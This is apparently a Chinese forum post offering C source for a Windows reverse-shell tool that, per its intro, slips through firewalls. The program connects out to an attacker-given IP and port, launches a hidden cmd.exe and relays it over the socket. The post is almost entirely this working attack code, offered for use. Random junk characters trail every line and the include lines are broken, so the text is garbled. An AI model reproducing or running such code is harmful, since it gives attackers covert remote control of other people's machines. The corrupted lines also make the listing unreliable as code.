这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FT;I|+H*P
~P,@">}
/* ============================== %) /Bl.{}<
Rebound port in Windows NT D6fGr$(N%
By wind,2006/7 X,`^z,M%I
===============================*/ DR<=C`<4(
#include GswV/V+u
#include tGwQUn
$wm8N.I3I
#pragma comment(lib,"wsock32.lib") L"It0C
j&l2n2z
void OutputShell(); i*61i0
SOCKET sClient; 2#_i_j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zwgO|Qg;
#9/S2m2\YG
void main(int argc,char **argv) ./_4D}
{ >jRH<|Az
WSADATA stWsaData; UNCI"Mjb
int nRet; rrrn8b6
SOCKADDR_IN stSaiClient,stSaiServer; }&Ul(HR
GmdS~Fhp
if(argc != 3) ^$;5ZkQy
{ w9,w?%F
printf("Useage:\n\rRebound DestIP DestPort\n"); Senb_?
return; @u1mC\G
} >U62vX"
IJ2>\bW_p
WSAStartup(MAKEWORD(2,2),&stWsaData); dk.VH!uVb
Stk'|-z
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s-e<&*D[
+`+r\*C5
stSaiClient.sin_family = AF_INET; yL"pzD`[H
stSaiClient.sin_port = htons(0); 2X`5YN;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \heQVWRl
q/dja
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )(DX]Tr`
{ _<7e5VR
printf("Bind Socket Failed!\n"); j9O"!9$vQ
return; 9D H}6fO
} #RTiWD[o
*6QmYq6c<
stSaiServer.sin_family = AF_INET; lk%W2N5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :M\3.7q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JAS!eF
,_U3p ,
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3sz?49tX
{ `cpUl*Y=
printf("Connect Error!"); r=:o$e
return; F:cenIaBF
} hC2_Yr>N%
OutputShell(); L<O"36R
} nhI1`l&
{PQ!o^7y
void OutputShell() >@i{8AD
{ Z)dE#A_X
char szBuff[1024]; +^V%D!.$@
SECURITY_ATTRIBUTES stSecurityAttributes; #(o( p
OSVERSIONINFO stOsversionInfo; O`2hTY\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q+=D#x
STARTUPINFO stStartupInfo; 5 $:
q
char *szShell; p WLFJH}N
PROCESS_INFORMATION stProcessInformation; )NCSO b
unsigned long lBytesRead; O
K2|/y
XZ1WY(
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )d"s6i
.h@HAnmE
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :yE7jXB
stSecurityAttributes.lpSecurityDescriptor = 0; WoX,F1 o
stSecurityAttributes.bInheritHandle = TRUE; V8IEfU
~4C:2
e2*Fe9:
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [;qZu`n>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); hwB>@r2
[XDr-5Dm
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'qnnZE
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8VLD yX2-
stStartupInfo.wShowWindow = SW_HIDE; z! /
MBM
stStartupInfo.hStdInput = hReadPipe; @Sd l~'"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O"~BnA`dJ
O*y@4AR"S
GetVersionEx(&stOsversionInfo); z\r|5Z
&s<'fSI
switch(stOsversionInfo.dwPlatformId) @T8$/
{ UJ1Ecob
case 1: )kuw&SH,
szShell = "command.com"; 7(1UXtT
break; 8
!+eq5S3
default: bsgr g
szShell = "cmd.exe"; v#o<.
Ig
break; YMTB4|{
} 'k9dN
\ev
n;,>Fv
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); z8\;XR
2[Q/|D}}|
send(sClient,szMsg,77,0); `1qM Sq
while(1) Gp5=cV'k
{ bRb+3au_x
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7d"gRM;
if(lBytesRead) )3RbD#?
{ ;^Y]nsd
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t_Rpeav
send(sClient,szBuff,lBytesRead,0); )OgQ&,#
} Nw=mSW^E
else N0 F|r8xS
{ 6pi^ rpo
lBytesRead=recv(sClient,szBuff,1024,0); =Zc
Vywz;+
if(lBytesRead<=0) break; #}U*gVYe
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 35X4]
t
} 'AjDB:Mt$
} 4_B1qN
.ECT
return; b&~s}IX
}